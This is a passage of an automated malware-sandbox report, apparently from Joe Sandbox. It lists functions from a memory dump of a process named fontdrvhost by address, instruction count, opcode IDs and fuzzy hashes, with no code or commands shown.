Opcode ID: 5036ffe8eeed3375bd450c5c9c7d7f1419548c087b1f1f303cc97212155894fa
Instruction ID: 8b161a489decd74886887c830680786023e3d8219d62cc846cb92bbc26a70623
Opcode Fuzzy Hash: 5036ffe8eeed3375bd450c5c9c7d7f1419548c087b1f1f303cc97212155894fa
Instruction Fuzzy Hash: 6D11C872A0951ACAE719BFB8B8595F973E0FF04328F040A77D41DD60D7EE74A5818781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C0EBB Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

", xrefs: 00007FFD9B8C1221

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 533d83aa3d8c2eb5d03a60799bf8ddc7cfd949b3928cd3c0ef328d1acc82e8c5
Instruction ID: 7562bc3a5d02c5b39d421de877eb2a40daeffdb6da0f5dd51185d7d5a205fe2b
Opcode Fuzzy Hash: 533d83aa3d8c2eb5d03a60799bf8ddc7cfd949b3928cd3c0ef328d1acc82e8c5
Instruction Fuzzy Hash: 8721C5B0E1961DCEDB64EF94C8A47ECB7B1EB58305F11016AD01DA72A5CB78AA84CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BC928 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

s{, xrefs: 00007FFD9B8BC946

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: s{
API String ID: 0-1998262635
Opcode ID: 3ad28c6f40ca552253a2415a25d1e7fbe23b2524bd4a16fb98c6557ebc7294c8
Instruction ID: d96c87ccda7d5b07bfd95e209c7867be9ee18ca11cb6c4b097a57e6d482308d3
Opcode Fuzzy Hash: 3ad28c6f40ca552253a2415a25d1e7fbe23b2524bd4a16fb98c6557ebc7294c8
Instruction Fuzzy Hash: D3110472A0951A8AEB59BFA8A8591FD73E0FF09324F040977E40CD60D7EF34A2818781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BC930 Relevance: 1.3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

Strings

s{, xrefs: 00007FFD9B8BC946

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: s{
API String ID: 0-1998262635
Opcode ID: 59c99bbd9d886049df0a138461cfa6a8c8a1e1383f1ee893a95c1d4c1029e2b9
Instruction ID: de8c2b665542728c29b72437f045e59be6463fab628bbde6c7dab8589545880e
Opcode Fuzzy Hash: 59c99bbd9d886049df0a138461cfa6a8c8a1e1383f1ee893a95c1d4c1029e2b9
Instruction Fuzzy Hash: C401D272A0951E8AEB69BFA8A8691F9B7E0FF08314F000977E41DD60D7EE3461818681

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C2F42 Relevance: .5, Instructions: 543COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9bc918fc411c6720749abac25d444b048aee74502f380912ef79f33713f90ef
Instruction ID: d46c1f11e477ce68af0f7f708eb2ad59fa567c0309628b2e94ef996ba54c536d
Opcode Fuzzy Hash: a9bc918fc411c6720749abac25d444b048aee74502f380912ef79f33713f90ef
Instruction Fuzzy Hash: CD510BD2A0F6DE4FE763ABB85C661B97FA0FF16214B4901F7D098CB0E3D918A5068351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C0460 Relevance: .4, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8de5c6fde737a6a8f3e6714e693b570fb547f9988cdf98562303bc6a40d53e4
Instruction ID: 801ac8c0a3ded5345c9f68232083572f9752495a2002da3e56019c8f768b3c6b
Opcode Fuzzy Hash: d8de5c6fde737a6a8f3e6714e693b570fb547f9988cdf98562303bc6a40d53e4
Instruction Fuzzy Hash: E7D14D70E1961DCFDB68EF98C464ABCB7B1FF59705F11017AD00DA32A2CA396941CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C356F Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9f03ee11d77cd593778bf19595071e3518e99a9fe793a528679cf3ff75f25c8
Instruction ID: ba76f00adf1a1a256a57288a53680821adffb0e7782a99c8fa5d1543970f69aa
Opcode Fuzzy Hash: f9f03ee11d77cd593778bf19595071e3518e99a9fe793a528679cf3ff75f25c8
Instruction Fuzzy Hash: EB814977B0D52E9DE71ABBBCBC694F9BB90EF4033970447B7D199CA093E81460478690

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C3805 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 116019e2ec74b7bade4bd9976469fc03aa1a97a1a5c174a908a73337da7ba02a
Instruction ID: 47b7fc69156418fa9ac27c0a48565f67d80475c31fe034521831c2fe3c941721
Opcode Fuzzy Hash: 116019e2ec74b7bade4bd9976469fc03aa1a97a1a5c174a908a73337da7ba02a
Instruction Fuzzy Hash: 8491CCB0E1961D8EEBA4EBA8D8657FDB6B1FF58300F1141BAD00DE3291DF345A858B01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B1DC2 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e8080e7abfc8b9e2d99f8e90efb13b4a6ccb2fb4caa974c2df0c2f94bd7660d
Instruction ID: eeb743ca1173bddf987f3b0e19d6f6dab8241907c761d8dbbc83d44ea9cfc1ea
Opcode Fuzzy Hash: 1e8080e7abfc8b9e2d99f8e90efb13b4a6ccb2fb4caa974c2df0c2f94bd7660d
Instruction Fuzzy Hash: B961D131B1CA598BDF58EF6C98615A973E2FFDC300B14456EE45EC7296DE30A902CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B31C5 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e5e6dd4291938cbdc46346f87bf86083a0d8a8b742ba97f886883d59d2685ab
Instruction ID: ae3133113414c0a99447388fde5859add46ca9b864d7c51a4ea36bc402ebcd94
Opcode Fuzzy Hash: 9e5e6dd4291938cbdc46346f87bf86083a0d8a8b742ba97f886883d59d2685ab
Instruction Fuzzy Hash: 17512C70E0952E8FEB64DFA8D4656EDBBB1FF48301F51017AD009E72A5DA386A45CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C1BF5 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a656438d2a7c3cd012464f7c1f3e2173d363f480dcee9dd1062f8b36eea47f69
Instruction ID: c39ff9c2329d9771a77c8f9f3a5b44f34d3696b96941d7c8258697f8bcd9e51b
Opcode Fuzzy Hash: a656438d2a7c3cd012464f7c1f3e2173d363f480dcee9dd1062f8b36eea47f69
Instruction Fuzzy Hash: 3F51BC70E0965D8FDB94EFA8C4A4BACB7B1FF59300F1040A9D04DD7296CE35A982CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B2135 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81eef99607474a4347cc6ce8921640bccb4fc9f58bec7a6c696421f87a413e90
Instruction ID: 097b99cfbc44a3e2d267daa6f3f8b3948bb6a89d54b57b6c88e2b200b2e10269
Opcode Fuzzy Hash: 81eef99607474a4347cc6ce8921640bccb4fc9f58bec7a6c696421f87a413e90
Instruction Fuzzy Hash: CA416931B0E65A4FE765DBB898655B87BE0EF8A300B0540FBD01DC71A3DE28B9418781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BC4A0 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b94e08f0278d3f196dd03c361524217b7a2cb30f7709f265f2d15b5cfb4772fe
Instruction ID: e8535c72af7b00cca0fe49f8d12eb535d63cc3857f642ee0f2eb13b1deaa0b79
Opcode Fuzzy Hash: b94e08f0278d3f196dd03c361524217b7a2cb30f7709f265f2d15b5cfb4772fe
Instruction Fuzzy Hash: A641E872B0952E8AE759BBBCE8698FC7790FF58324B010577D01DC60D2DE64B6468ED0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C236D Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 053141c661ae9f639b98057899435475e8535387cf8dfb6b88942af5b3a0d6c0
Instruction ID: f60045fdc85d6a1bf7964715f0465635b838dc1d5f029907ba25c02377c88364
Opcode Fuzzy Hash: 053141c661ae9f639b98057899435475e8535387cf8dfb6b88942af5b3a0d6c0
Instruction Fuzzy Hash: 4C412870E1961D8FDB58EFE8D865AFDB7B1FF58300F01017AE019E32A6DA3469418B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B1150 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dca0f2fee70e05d991175259047f61dcf3802ec2452e54fdeae003fc5b882779
Instruction ID: 09f26948b3d921db6ac845027b247489e1348ae9fe2d307e43e0778bf8937684
Opcode Fuzzy Hash: dca0f2fee70e05d991175259047f61dcf3802ec2452e54fdeae003fc5b882779
Instruction Fuzzy Hash: D231B530E2A56E4EEB94EBB4C8656BD77E0FF19304F01057ED01ED61E5DE256640CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C36D3 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 145a839dd29f1d83d8a87946776ca4a6800b3bd890031a5dd3eeaaf4f18d8601
Instruction ID: 1c0695667a6ec3b9a73afbb5b56d7cebfe75882cc6cf9acfc56d6325a1ec4cd7
Opcode Fuzzy Hash: 145a839dd29f1d83d8a87946776ca4a6800b3bd890031a5dd3eeaaf4f18d8601
Instruction Fuzzy Hash: 15315AB2B1E6596EE716B7AC7C6A1F57BA0EF01334B0405B7E558CA0D3E83451468351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BC4FB Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b8d549fd54df0d5b87991dba186fc4271fa00303d8d87fbce2f7a127d53cca7
Instruction ID: 3fc4b52800efeaa3c5b569e23ebc39db8d6d2849ea29b82e50ce90b285830c52
Opcode Fuzzy Hash: 6b8d549fd54df0d5b87991dba186fc4271fa00303d8d87fbce2f7a127d53cca7
Instruction Fuzzy Hash: 04310472B0953A9AE759BBBCB8294F87750FF48324F010137D01D860A3DE64A2419AD4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BBE4D Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33e31ee6efa054505cf9864abd49e80e8f97d59620122dfa3ef48fdbdf141407
Instruction ID: 80e30fee865641a941a96cc9aae959726d5e5b75d3b4cd4c9a02ad7d04fd3da0
Opcode Fuzzy Hash: 33e31ee6efa054505cf9864abd49e80e8f97d59620122dfa3ef48fdbdf141407
Instruction Fuzzy Hash: 8931DC74E1992D9FEBA4EBA8D8A56ACB7B5FF5C300F511039D00DE32A2DE3469418F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B33B8 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 837a1180c839e678d2075fd8311ee7d132ca62e4efa281b2208f2b2b2043ef37
Instruction ID: a66051264eb6bf88f4377a1a8a7b0072f60d35801baac0e145cd85141c79026c
Opcode Fuzzy Hash: 837a1180c839e678d2075fd8311ee7d132ca62e4efa281b2208f2b2b2043ef37
Instruction Fuzzy Hash: D431FD3094E29A8FD743ABB088685A97FF4EF4B310F0905EBD448CB0B2DA38A545CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C7335 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efe43b01f2b886aee5d3a418b171204820866c7f33d4cf569fd3de0d9eb97313
Instruction ID: b217fbdd7687fcfb64cdd0cc89f34ca03a2ae8ae00b68738f4e755da872d9fef
Opcode Fuzzy Hash: efe43b01f2b886aee5d3a418b171204820866c7f33d4cf569fd3de0d9eb97313
Instruction Fuzzy Hash: 5331CC78B0E60E8BEB65AFA0C4652FD37E0FF48310F5505BBD80AD21E6DE38A6448640

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BC868 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7b27ad638523f56814536a4910676a5c7b6ea1b3fdbff93efa5b279274bb20d
Instruction ID: 7d7b9ed0fc3b2f4b68b554c0112e2849abf90b05df889841f0414f3103bbad65
Opcode Fuzzy Hash: c7b27ad638523f56814536a4910676a5c7b6ea1b3fdbff93efa5b279274bb20d
Instruction Fuzzy Hash: 7D210676A1812A8AF725BFFCBC695F973A0EF04328B0406B7D44DDA0D7EE7460568681

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C6C1D Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b97a41febb0b3c5b368200999cad7d8eb52cfdd355ffb9b4a87a8c763e0369a7
Instruction ID: b0b7cfe2940d07034077a6691af09b3e2573e40e669cad4c5ff37ae133e453ed
Opcode Fuzzy Hash: b97a41febb0b3c5b368200999cad7d8eb52cfdd355ffb9b4a87a8c763e0369a7
Instruction Fuzzy Hash: 7D2123B0A0E64E4BDB68AF6488B51BD3B90FF29300F0201BFE41DC31A2DE35A6558741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C7141 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cc33dccffa5903eec95a9e808ca3b4a573fc311eb07280d2ed94ac928895b33
Instruction ID: 527412793a3f7a6f7cdb7e5d8822aefe1eff21663b85478e4c9367306be5b949
Opcode Fuzzy Hash: 5cc33dccffa5903eec95a9e808ca3b4a573fc311eb07280d2ed94ac928895b33
Instruction Fuzzy Hash: 21216D74E0E55E9EEBA1EFA888685FD7BE4FF19311F0115B7D418D30A1DA38A2408750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BC4A8 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e96ee3944952ac2d013fc7befdab49f47ee05c5f28a7770cf06161d3bfee0c6e
Instruction ID: ca9045b6ebc59cc7ed1176db8607dbdcd55039fc964181934e3518125d1d2739
Opcode Fuzzy Hash: e96ee3944952ac2d013fc7befdab49f47ee05c5f28a7770cf06161d3bfee0c6e
Instruction Fuzzy Hash: DB21E672A0966E8AE755BBBCA8299FD3790FF04324F010573D41CC60D2DE64A6454E80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C6AE5 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d06884b1e10f11928a9b7244cce6bb63556c65890e33bd7a902b4b337fbd270d
Instruction ID: a7df425aa3c02ee3e9d385a6f5ff7d8cbfe51194516bd4a05fd793a9308b60be
Opcode Fuzzy Hash: d06884b1e10f11928a9b7244cce6bb63556c65890e33bd7a902b4b337fbd270d
Instruction Fuzzy Hash: 152156B4A0A64F9FEBA8EFA484651BD77A0FF28301F41457BD41DC31A5DF34A6508741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B0A01 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ebe9f9effef76812ce18f045d26a3be108d43c17bf237a81966a6c92e83dea4
Instruction ID: 467e513658ca2c78f50e82ab8e99f93308a61f4fbb9d19ae7285760d5f3d66ff
Opcode Fuzzy Hash: 5ebe9f9effef76812ce18f045d26a3be108d43c17bf237a81966a6c92e83dea4
Instruction Fuzzy Hash: 4C11B230E2A51E4FE790EBB888695FD77E0FF58740F4159B6D019C70A6EE34A6408B80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C4319 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31ea117b02348493ebd21bc0f5515ec97a1f0bf512af68d4a5025285b04caba4
Instruction ID: d126b54cd723a3c2ee9876186dff026dd4cb9c7d752974453946d06d46b02067
Opcode Fuzzy Hash: 31ea117b02348493ebd21bc0f5515ec97a1f0bf512af68d4a5025285b04caba4
Instruction Fuzzy Hash: 6921A170A0A64E8FDB59EF7884656B97BB0FF59301F1505BFD419C61A2CA34A580C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C6A41 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99d7b7405463fba51025492eeeaf4ae7280d5002a07853b8de5ae55452d3f181
Instruction ID: 941a2ffd2543daa22c8f6a91ae09a857ce99ad26e58226078c2cf8d3f88ef8d5
Opcode Fuzzy Hash: 99d7b7405463fba51025492eeeaf4ae7280d5002a07853b8de5ae55452d3f181
Instruction Fuzzy Hash: 7011D2B0A09A4E8FDB98EF6884692BD7BE0FF28304F0145BFD40DC31A2DA356640CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C20E1 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0779a9936c770c26c3586af3b1dcb736828c28be3253f1963986772fea97c4a9
Instruction ID: 8b9915cef2eab48ca57823c3144423e565a8f683620003ff70bf341721f746f1
Opcode Fuzzy Hash: 0779a9936c770c26c3586af3b1dcb736828c28be3253f1963986772fea97c4a9
Instruction Fuzzy Hash: C711AC70A0924D8FDB49EF64C4A55F93BA1FF59304F02026FE80DC31A1DA34A550CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C6B85 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0216573b96d775ece6489307fe1164a7759bc2d769c9207b79b541c42246f32
Instruction ID: f0131136b9fee27c1ea45a4a96445d82f65fd6bd8d026d966c55df99e575c8fb
Opcode Fuzzy Hash: d0216573b96d775ece6489307fe1164a7759bc2d769c9207b79b541c42246f32
Instruction Fuzzy Hash: 461193B1A0E64D4BDB69ABA488B55B83AE1FF29300F0505BED45DC71B2DE256544C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C43B5 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1af036085a544960d8fb2713ddfd8b5c500a0559a17171b57e3ccc3b7fb742be
Instruction ID: 739740f5b906f2a5371f07e5e377d7756b634157ac8d066857f480592e8de72e
Opcode Fuzzy Hash: 1af036085a544960d8fb2713ddfd8b5c500a0559a17171b57e3ccc3b7fb742be
Instruction Fuzzy Hash: E011B470A0AA4E8FEB98EF68C4696B97BE0FF58301F1505BFD41DC71A6DA35A180C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C7991 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e5ab867a715b74045bfe47dc24b91ac65aa4522326a3e90ff2bc1be1a1d2e1b
Instruction ID: fb702dcbec0b65ed5951785ae87735a3ff0c1a2322f9d4485546d4f0552ca0ba
Opcode Fuzzy Hash: 2e5ab867a715b74045bfe47dc24b91ac65aa4522326a3e90ff2bc1be1a1d2e1b
Instruction Fuzzy Hash: 6111E979A4E24E4FEF65AF6488615FD3BA0FF19300F01147BE81DC30E2DA38A6548741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C4CE9 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f3d7d7fd16887f44c9922755ed1e6445e69846f3b9da1b48c0a5fe362384a1d
Instruction ID: 79202f4baed650dffe5e9819469da1d6fecd5f70f76799db103b89c433ed579f
Opcode Fuzzy Hash: 5f3d7d7fd16887f44c9922755ed1e6445e69846f3b9da1b48c0a5fe362384a1d
Instruction Fuzzy Hash: 2A118EB0A0A68E4FEB59EFA488696B97BF0FF19301F0505BFD41DC61A2DE3865848741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C48D5 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

